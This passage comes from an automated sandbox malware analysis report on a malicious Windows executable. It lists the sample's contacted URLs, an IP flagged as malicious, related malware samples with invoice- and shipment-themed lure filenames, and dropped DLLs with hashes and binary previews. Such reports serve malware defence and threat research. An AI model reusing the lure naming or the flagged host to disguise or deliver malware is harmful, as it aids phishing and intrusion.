http://www.fontbureau.com/designers8	gunzipped.exe, 00000001.00000002.257287846.0000000005830000.00000002.00000001.sdmp, gunzipped.exe, 00000001.00000003.245173320.000000000567D000.00000004.00000001.sdmp	false		high
http://www.sandoll.co.krend	gunzipped.exe, 00000001.00000003.240102819.0000000005679000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fontbureau.com/designers=	gunzipped.exe, 00000001.00000003.244756516.0000000005679000.00000004.00000001.sdmp	false		high
https://contextual.media.net/checksync.php	gunzipped.exe, 00000003.00000003.283052268.00000000033A0000.00000004.00000001.sdmp	false		high
http://www.msn.com/de-ch/Zhttps://contextual.media.net/medianet.phpZhttps://contextual.media.net/med	gunzipped.exe, 00000003.00000003.283052268.00000000033A0000.00000004.00000001.sdmp	false		high
http://www.fonts.com-u	gunzipped.exe, 00000001.00000003.239044619.000000000568B000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.msn.com/de-ch/?ocid=iehp.c_	gunzipped.exe, 00000003.00000002.284437491.0000000000C57000.00000004.00000020.sdmp	false		high

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
31.210.20.121	unknown	Netherlands		61157	PLUSSERVER-ASN1DE	true

General Information

Joe Sandbox Version:	31.0.0 Emerald
Analysis ID:	396371
Start date:	23.04.2021
Start time:	11:06:44
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 9m 32s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	gunzipped.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	23
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.phis.troj.spyw.evad.winEXE@3/50@0/1
EGA Information:	Failed
HDC Information:	Successful, ratio: 19% (good quality ratio 18.7%) Quality average: 63.2% Quality standard deviation: 24.6%
HCA Information:	Successful, ratio: 100% Number of executed functions: 156 Number of non-executed functions: 56
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe
Warnings:	Show All Exclude process from analysis (whitelisted): taskhostw.exe, MpCmdRun.exe, BackgroundTransferHost.exe, SgrmBroker.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe Report size getting too big, too many NtAllocateVirtualMemory calls found. Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
11:07:45	API Interceptor	1x Sleep call for process: gunzipped.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
31.210.20.121	Worksheet.exe	Get hash	malicious	Browse	31.210.20.121/index.php

Domains

No context

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
PLUSSERVER-ASN1DE	DHL Shipments Docs Arrival.exe	Get hash	malicious	Browse	31.210.20.228
	Worksheet.exe	Get hash	malicious	Browse	31.210.20.121
	DHL Shipments Docs Arrival.exe	Get hash	malicious	Browse	31.210.20.228
	SecuriteInfo.com.Variant.Graftor.941749.26444.exe	Get hash	malicious	Browse	31.210.20.4
	uNttFPI36y.exe	Get hash	malicious	Browse	151.106.118.75
	4OJCZ2ZS46.exe	Get hash	malicious	Browse	31.210.20.71
	Payment.exe	Get hash	malicious	Browse	31.210.20.71
	OPEN_2021-04-12_06-58.exe	Get hash	malicious	Browse	31.210.20.58
	Enclosed Proforma Invoice INV-00628934.PDF.ex.exe	Get hash	malicious	Browse	31.210.20.71
	OPEN_2021-04-09_10-21.exe	Get hash	malicious	Browse	31.210.20.58
	50729032021.xlsx	Get hash	malicious	Browse	151.106.118.75
	OPEN_2021-03-25_12-53.exe	Get hash	malicious	Browse	31.210.20.58
	1LHKlbcoW3.exe	Get hash	malicious	Browse	151.106.118.75
	mar2403.xlsx	Get hash	malicious	Browse	151.106.118.75
	1.sh	Get hash	malicious	Browse	62.138.212.104
	gunzipped.exe	Get hash	malicious	Browse	31.210.20.58
	ZwNJI24QAf.exe	Get hash	malicious	Browse	151.106.118.75
	gunzipped.exe	Get hash	malicious	Browse	31.210.20.58
	27hKPHrVa3.exe	Get hash	malicious	Browse	151.106.118.75
	gunzipped.exe	Get hash	malicious	Browse	31.210.20.58

JA3 Fingerprints

No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Link
C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-console-l1-1-0.dll	Ziraat Bankasi Swift Mesaji.exe	Get hash	malicious	Browse
	Inquiry #5883610.exe	Get hash	malicious	Browse
	ORDER 22_04_21.exe	Get hash	malicious	Browse
	SKM_C258 Up21042213080.exe	Get hash	malicious	Browse
	e-profile.exe	Get hash	malicious	Browse
	SKM_C258 Up21042213080.exe	Get hash	malicious	Browse
	CONTRACT DOCUMENT PDF.jar	Get hash	malicious	Browse
	techniques sont programmes.pdf.jar	Get hash	malicious	Browse
	G019 & G022 SPEC SHEET.exe	Get hash	malicious	Browse
	Marking Machine 30W Specification.exe	Get hash	malicious	Browse
	Worksheet.exe	Get hash	malicious	Browse
	e-profile.exe	Get hash	malicious	Browse
	New Order.exe	Get hash	malicious	Browse
	Purchase Order PO-3163.jar	Get hash	malicious	Browse
	Order 17238502238 for Kasna Unit PDF.jar	Get hash	malicious	Browse
	hesaphareketpdf.jar	Get hash	malicious	Browse
	Payment copy.jar	Get hash	malicious	Browse
	New Order.exe	Get hash	malicious	Browse
	Invoice PDF.jar	Get hash	malicious	Browse
	GxRBjQa5k0.exe	Get hash	malicious	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v2.0_32\UsageLogs\gunzipped.exe.log Download File
Process:	C:\Users\user\Desktop\gunzipped.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	525
Entropy (8bit):	5.2874233355119316
Encrypted:	false
SSDEEP:	12:Q3LaJU20NaL10U29hJ5g1B0U2ukyrFk70Ug+9Yz9tv:MLF20NaL329hJ5g522rWz2T
MD5:	61CCF53571C9ABA6511D696CB0D32E45
SHA1:	A13A42A20EC14942F52DB20FB16A0A520F8183CE
SHA-256:	3459BDF6C0B7F9D43649ADAAF19BA8D5D133BCBE5EF80CF4B7000DC91E10903B
SHA-512:	90E180D9A681F82C010C326456AC88EBB89256CC769E900BFB4B2DF92E69CA69726863B45DFE4627FC1EE8C281F2AF86A6A1E2EF1710094CCD3F4E092872F06F
Malicious:	true
Preview:	1,"fusion","GAC",0..3,"C:\Windows\assembly\NativeImages_v2.0.50727_32\System\1ffc437de59fb69ba2b865ffdc98ffd1\System.ni.dll",0..3,"C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Drawing\54d944b3ca0ea1188d700fbd8089726b\System.Drawing.ni.dll",0..3,"C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Windows.Forms\bd8d59c984c9f5f2695f64341115cdf0\System.Windows.Forms.ni.dll",0..3,"C:\Windows\assembly\NativeImages_v2.0.50727_32\Microsoft.VisualBas#\cd7c74fce2a0eab72cd25cbe4bb61614\Microsoft.VisualBasic.ni.dll",0..

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-console-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\gunzipped.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18744
Entropy (8bit):	7.080160932980843
Encrypted:	false
SSDEEP:	192:3jBMWIghWGZiKedXe123Ouo+Uggs/nGfe4pBjS/uBmWh0txKdmVWQ4GWDZoiyqnP:GWPhWVXYi00GftpBjSemTltcwpS
MD5:	502263C56F931DF8440D7FD2FA7B7C00
SHA1:	523A3D7C3F4491E67FC710575D8E23314DB2C1A2
SHA-256:	94A5DF1227818EDBFD0D5091C6A48F86B4117C38550343F780C604EEE1CD6231
SHA-512:	633EFAB26CDED9C3A5E144B81CBBD3B6ADF265134C37D88CFD5F49BB18C345B2FC3A08BA4BBC917B6F64013E275239026829BA08962E94115E94204A47B80221
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 0%, Browse Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: Ziraat Bankasi Swift Mesaji.exe, Detection: malicious, Browse Filename: Inquiry #5883610.exe, Detection: malicious, Browse Filename: ORDER 22_04_21.exe, Detection: malicious, Browse Filename: SKM_C258 Up21042213080.exe, Detection: malicious, Browse Filename: e-profile.exe, Detection: malicious, Browse Filename: SKM_C258 Up21042213080.exe, Detection: malicious, Browse Filename: CONTRACT DOCUMENT PDF.jar, Detection: malicious, Browse Filename: techniques sont programmes.pdf.jar, Detection: malicious, Browse Filename: G019 & G022 SPEC SHEET.exe, Detection: malicious, Browse Filename: Marking Machine 30W Specification.exe, Detection: malicious, Browse Filename: Worksheet.exe, Detection: malicious, Browse Filename: e-profile.exe, Detection: malicious, Browse Filename: New Order.exe, Detection: malicious, Browse Filename: Purchase Order PO-3163.jar, Detection: malicious, Browse Filename: Order 17238502238 for Kasna Unit PDF.jar, Detection: malicious, Browse Filename: hesaphareketpdf.jar, Detection: malicious, Browse Filename: Payment copy.jar, Detection: malicious, Browse Filename: New Order.exe, Detection: malicious, Browse Filename: Invoice PDF.jar, Detection: malicious, Browse Filename: GxRBjQa5k0.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....."............!......................... ...............................0.......J....@.............................+............ ..................8=..............T............................................................................text...+........................... ..`.rsrc........ ......................@..@......".........;...T...T.........".........d.................".....................RSDSMB...5.G.8.'.d.....api-ms-win-core-console-l1-1-0.pdb..........T....rdata..T........rdata$zzzdbg.......+....edata... ..`....rsrc$01....` .......rsrc$02......................".....................(...`...............,...W...................G...o...............................D...s...............5...b...............................................api-ms-win-core-console-l1-1-0.dll.AllocConsole.kern

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-datetime-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\gunzipped.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.093995452106596
Encrypted:	false
SSDEEP:	192:RWIghWG4U9xluZo123Ouo+Uggs/nGfe4pBjSbMDPxVWh0txKdmVWQ4CWrDry6qnZ:RWPhWFv0i00GftpBjBHem6plUG+zIw
MD5:	CB978304B79EF53962408C611DFB20F5
SHA1:	ECA42F7754FB0017E86D50D507674981F80BC0B9
SHA-256:	90FAE0E7C3644A6754833C42B0AC39B6F23859F9A7CF4B6C8624820F59B9DAD3
SHA-512:	369798CD3F37FBAE311B6299DA67D19707D8F770CF46A8D12D5A6C1F25F85FC959AC5B5926BC68112FA9EB62B402E8B495B9E44F44F8949D7D648EA7C572CF8C
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 0%, Browse Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...A..............!......................... ...............................0.......#....@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@....A...........<...T...T.......A...........d...............A.......................RSDS...W,X.l..o....4....api-ms-win-core-datetime-l1-1-0.pdb.........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02....................A.......P...............(...8...H...................t.......................api-ms-win-core-datetime-l1-1-0.dll.GetDateFormatA.kernel32.GetDateFormatA.GetDateFormatW.kernel32.GetDateFormatW.GetTimeFormatA.kernel32.GetTimeFormatA

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-debug-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\gunzipped.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.1028816880814265
Encrypted:	false
SSDEEP:	384:cWPhWM4Ri00GftpBj2YILemtclD16PaEC:l10oiBQe/L
MD5:	88FF191FD8648099592ED28EE6C442A5
SHA1:	6A4F818B53606A5602C609EC343974C2103BC9CC
SHA-256:	C310CC91464C9431AB0902A561AF947FA5C973925FF70482D3DE017ED3F73B7D
SHA-512:	942AE86550D4A4886DAC909898621DAB18512C20F3D694A8AD444220AEAD76FA88C481DF39F93C7074DBBC31C3B4DAF97099CFED86C2A0AAA4B63190A4B307FD
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 0%, Browse Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L..................!......................... ...............................0......GF....@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@................9...T...T...................d.......................................RSDS.j..v..C...B..h....api-ms-win-core-debug-l1-1-0.pdb............T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02............................P...............(...8...H...\|...............q.......................api-ms-win-core-debug-l1-1-0.dll.DebugBreak.kernel32.DebugBreak.IsDebuggerPresent.kernel32.IsDebuggerPresent.OutputDebugStringA.kernel32.OutputDebugStri

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-errorhandling-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\gunzipped.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.126358371711227
Encrypted:	false
SSDEEP:	192:NFmxD3PWIghWGJY/luZo123Ouo+Uggs/nGfe4pBjSffcp8Wh0txKdmVWQ4yWRzOr:NFkWPhW60i00GftpBj4emHlD16Pa7v
MD5:	6D778E83F74A4C7FE4C077DC279F6867
SHA1:	F5D9CF848F79A57F690DA9841C209B4837C2E6C3
SHA-256:	A97DCCA76CDB12E985DFF71040815F28508C655AB2B073512E386DD63F4DA325
SHA-512:	02EF01583A265532D3970B7D520728AA9B68F2B7C309EE66BD2B38BAF473EF662C9D7A223ACF2DA722587429DA6E4FBC0496253BA5C41E214BEA240CE824E8A2
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 0%, Browse Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...\x.............!......................... ...............................0............@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@....\x..........A...T...T.......\x..........d...............\x......................RSDS.1....U45.z.d.....api-ms-win-core-errorhandling-l1-1-0.pdb............T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02............\x......n...............(...D...`...................4...f.......................'...J.....................api-ms-win-core-errorhandling-l1-1-0.dll.GetErrorMode.kernel32.GetErrorMode.GetLastError.kernel32.GetLastError.RaiseExcept

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-file-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\gunzipped.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	21816
Entropy (8bit):	7.014255619395433
Encrypted:	false
SSDEEP:	384:d6PvVXHWPhWnsnhi00GftpBjaJemyDlD16PamW8:UPvVX85nhoisJeLt8
MD5:	94AE25C7A5497CA0BE6882A00644CA64
SHA1:	F7AC28BBC47E46485025A51EEB6C304B70CEE215
SHA-256:	7EA06B7050F9EA2BCC12AF34374BDF1173646D4E5EBF66AD690B37F4DF5F3D4E
SHA-512:	83E570B79111706742D0684FC16207AE87A78FA7FFEF58B40AA50A6B9A2C2F77FE023AF732EF577FB7CD2666E33FFAF0E427F41CA04075D83E0F6A52A177C2B0
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 0%, Browse Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.................!.........................0...............................@......./....@..........................................0..................8=..............T............................................................................text............................... ..`.rsrc........0......................@..@...............8...T...T..................d......................................RSDS.0...B..8....G....api-ms-win-core-file-l1-1-0.pdb.........T....rdata..T........rdata$zzzdbg............edata...0..`....rsrc$01....`0.......rsrc$02.......................K...K.......D...p...6...`.......................?...l...............A...................6..._...................;...e............... ...I...n...............-...d......................g..................U...................M...

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-file-l1-2-0.dll Download File
Process:	C:\Users\user\Desktop\gunzipped.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.112057846012794
Encrypted:	false
SSDEEP:	192:IWIghWGJnWdsNtL/123Ouo+Uggs/nGfe4pBjSfcD63QXWh0txKdmVWQ4yW1rwqnh:IWPhWlsnhi00GftpBjnem9lD16PamFP
MD5:	E2F648AE40D234A3892E1455B4DBBE05
SHA1:	D9D750E828B629CFB7B402A3442947545D8D781B
SHA-256:	C8C499B012D0D63B7AFC8B4CA42D6D996B2FCF2E8B5F94CACFBEC9E6F33E8A03
SHA-512:	18D4E7A804813D9376427E12DAA444167129277E5FF30502A0FA29A96884BF902B43A5F0E6841EA1582981971843A4F7F928F8AECAC693904AB20CA40EE4E954
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 0%, Browse Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...._.L...........!......................... ...............................0............@.............................L............ ..................8=..............T............................................................................text...<........................... ..`.rsrc........ ......................@..@....._.L........8...T...T........_.L........d................_.L....................RSDS........g"Y........api-ms-win-core-file-l1-2-0.pdb.........T....rdata..T........rdata$zzzdbg.......L....edata... ..`....rsrc$01....` .......rsrc$02........._.L....@...................(...8...l...............`.......................api-ms-win-core-file-l1-2-0.dll.CreateFile2.kernel32.CreateFile2.GetTempPathW.kernel32.GetTempPathW.GetVolumeNameForVolumeMountPointW.kernel32.GetVolumeNameForVolumeMou

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-file-l2-1-0.dll Download File
Process:	C:\Users\user\Desktop\gunzipped.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.166618249693435
Encrypted:	false
SSDEEP:	192:BZwWIghWG4U9ydsNtL/123Ouo+Uggs/nGfe4pBjSbUGHvNWh0txKdmVWQ4CWVU9h:UWPhWFBsnhi00GftpBjKvxemPlP55QQ7
MD5:	E479444BDD4AE4577FD32314A68F5D28
SHA1:	77EDF9509A252E886D4DA388BF9C9294D95498EB
SHA-256:	C85DC081B1964B77D289AAC43CC64746E7B141D036F248A731601EB98F827719
SHA-512:	2AFAB302FE0F7476A4254714575D77B584CD2DC5330B9B25B852CD71267CDA365D280F9AA8D544D4687DC388A2614A51C0418864C41AD389E1E847D81C3AB744
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 0%, Browse Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...4..\|...........!......................... ...............................0......t.....@.......................................... ..................8=..............T............................................................................text...}........................... ..`.rsrc........ ......................@..@....4..\|........8...T...T.......4..\|........d...............4..\|....................RSDS.=.Co.P..Gd./%P....api-ms-win-core-file-l2-1-0.pdb.........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02........4..\|........................D...p...............#...P...................;...g...................<...m...............%...Z.........................api-ms-win-core-file-l2-1-0.dll.CopyFile2.kernel32.CopyFile2.CopyFileExW.kernel32.CopyFileExW.Crea

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-handle-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\gunzipped.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.1117101479630005
Encrypted:	false
SSDEEP:	384:AWPhWXDz6i00GftpBj5FrFaemx+lDbNh/6:hroidkeppp
MD5:	6DB54065B33861967B491DD1C8FD8595
SHA1:	ED0938BBC0E2A863859AAD64606B8FC4C69B810A
SHA-256:	945CC64EE04B1964C1F9FCDC3124DD83973D332F5CFB696CDF128CA5C4CBD0E5
SHA-512:	AA6F0BCB760D449A3A82AED67CA0F7FB747CBB82E627210F377AF74E0B43A45BA660E9E3FE1AD4CBD2B46B1127108EC4A96C5CF9DE1BDEC36E993D0657A615B6
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 0%, Browse Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.....G...........!......................... ...............................0......V.....@............................._............ ..................8=..............T............................................................................text..._........................... ..`.rsrc........ ......................@..@......G........:...T...T.........G........d.................G....................RSDSQ..{...IS].0.> ....api-ms-win-core-handle-l1-1-0.pdb...........T....rdata..T........rdata$zzzdbg......._....edata... ..`....rsrc$01....` .......rsrc$02......................G....Z...............(...<...P...................A...\|...............,.............api-ms-win-core-handle-l1-1-0.dll.CloseHandle.kernel32.CloseHandle.CompareObjectHandles.kernel32.CompareObjectHandles.DuplicateHandle.kernel32

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-heap-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\gunzipped.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.174986589968396
Encrypted:	false
SSDEEP:	192:GElqWIghWGZi5edXe123Ouo+Uggs/nGfe4pBjS/PHyRWh0txKdmVWQ4GWC2w4Dj3:GElqWPhWCXYi00GftpBjP9emYXlDbNs
MD5:	2EA3901D7B50BF6071EC8732371B821C
SHA1:	E7BE926F0F7D842271F7EDC7A4989544F4477DA7
SHA-256:	44F6DF4280C8ECC9C6E609B1A4BFEE041332D337D84679CFE0D6678CE8F2998A
SHA-512:	6BFFAC8E157A913C5660CD2FABD503C09B47D25F9C220DCE8615255C9524E4896EDF76FE2C2CC8BDEF58D9E736F5514A53C8E33D8325476C5F605C2421F15C7D
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 0%, Browse Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.....:............!......................... ...............................0............@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@......:.........8...T...T.........:.........d.................:.....................RSDS.K....OB;....X......api-ms-win-core-heap-l1-1-0.pdb.........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02..........:.........................X...............2...Q...q.......................C...h...........................(...E...f.......................0..._...z...............................................api-ms-win-core-heap-l1-1-0.dll.GetProcessHeap.k

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-interlocked-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\gunzipped.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	17856
Entropy (8bit):	7.076803035880586
Encrypted:	false
SSDEEP:	192:DtiYsFWWIghWGQtu7B123Ouo+Uggs/nGfe4pBjSPiZadcbWh0txKdmVWQ4mWf2FN:5iYsFWWPhWUTi00GftpBjremUBNlgC
MD5:	D97A1CB141C6806F0101A5ED2673A63D
SHA1:	D31A84C1499A9128A8F0EFEA4230FCFA6C9579BE
SHA-256:	DECCD75FC3FC2BB31338B6FE26DEFFBD7914C6CD6A907E76FD4931B7D141718C
SHA-512:	0E3202041DEF9D2278416B7826C61621DCED6DEE8269507CE5783C193771F6B26D47FEB0700BBE937D8AFF9F7489890B5263D63203B5BA99E0B4099A5699C620
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....$.............!......................... ...............................0...........@.......................................... ...................9..............T............................................................................text............................... ..`.rsrc........ ......................@..@.....$..........?...T...T........$..........d................$......................RSDS#.......,.S.6.~j....api-ms-win-core-interlocked-l1-1-0.pdb..........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02.................$......................(...T...............L...............!...U...................1.......p...............@...s.................................api-ms-win-core-interlocked-l1-1-0.dll.InitializeSListHead.kernel32.InitializeSLis

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-libraryloader-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\gunzipped.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18744
Entropy (8bit):	7.131154779640255
Encrypted:	false
SSDEEP:	384:yHvuBL3BmWPhWZTi00GftpBjNKnemenyAlvN9W/L:yWBL3BXYoinKne1yd
MD5:	D0873E21721D04E20B6FFB038ACCF2F1
SHA1:	9E39E505D80D67B347B19A349A1532746C1F7F88
SHA-256:	BB25CCF8694D1FCFCE85A7159DCF6985FDB54728D29B021CB3D14242F65909CE
SHA-512:	4B7F2AD9EAD6489E1EA0704CF5F1B1579BAF1061B193D54CC6201FFDDA890A8C8FACB23091DFD851DD70D7922E0C7E95416F623C48EC25137DDD66E32DF9A637
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....ul...........!......................... ...............................0......9.....@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@.....ul........A...T...T........ul........d................ul....................RSDSU..e.j.(.wD.......api-ms-win-core-libraryloader-l1-1-0.pdb............T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02.............ul....................(...p...........R...}..................Y...................8..._.......................B...k...................F...u...............)...P...w...................................................api-ms-win-c

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-localization-l1-2-0.dll Download File
Process:	C:\Users\user\Desktop\gunzipped.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	20792
Entropy (8bit):	7.089032314841867
Encrypted:	false
SSDEEP:	384:KOMw3zdp3bwjGjue9/0jCRrndbVWPhWIDz6i00GftpBj6cemjlD16Pa+4r:KOMwBprwjGjue9/0jCRrndbCOoireqv
MD5:	EFF11130BFE0D9C90C0026BF2FB219AE
SHA1:	CF4C89A6E46090D3D8FEEB9EB697AEA8A26E4088
SHA-256:	03AD57C24FF2CF895B5F533F0ECBD10266FD8634C6B9053CC9CB33B814AD5D97
SHA-512:	8133FB9F6B92F498413DB3140A80D6624A705F80D9C7AE627DFD48ADEB8C5305A61351BF27BBF02B4D3961F9943E26C55C2A66976251BB61EF1537BC8C212ADD
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...S.v............!......................... ...............................0............@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@....S.v.........@...T...T.......S.v.........d...............S.v.....................RSDS..pS...Z4Yr.E@......api-ms-win-core-localization-l1-2-0.pdb.........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02................S.v.....v.......;...;...(.......................<...f.......................5...]...................!...I...q...................N.............../...j.............../...^.................../...\...................8...`...........

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-memory-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\gunzipped.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18744
Entropy (8bit):	7.101895292899441
Encrypted:	false
SSDEEP:	384:+bZWPhWUsnhi00GftpBjwBemQlD16Par7:b4nhoi6BedH
MD5:	D500D9E24F33933956DF0E26F087FD91
SHA1:	6C537678AB6CFD6F3EA0DC0F5ABEFD1C4924F0C0
SHA-256:	BB33A9E906A5863043753C44F6F8165AFE4D5EDB7E55EFA4C7E6E1ED90778ECA
SHA-512:	C89023EB98BF29ADEEBFBCB570427B6DF301DE3D27FF7F4F0A098949F987F7C192E23695888A73F1A2019F1AF06F2135F919F6C606A07C8FA9F07C00C64A34B5
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.....%(...........!......................... ...............................0............@.............................l............ ..................8=..............T............................................................................text...l........................... ..`.rsrc........ ......................@..@......%(........:...T...T.........%(........d.................%(....................RSDS.~....%.T.....CO....api-ms-win-core-memory-l1-1-0.pdb...........T....rdata..T........rdata$zzzdbg.......l....edata... ..`....rsrc$01....` .......rsrc$02......................%(....................(...h...........)...P...w...................C...g...................%...P...........B...g...................4...[...\|...................=...................................api-ms-win-core-memory-l1-1-0.dl

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-namedpipe-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\gunzipped.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.16337963516533
Encrypted:	false
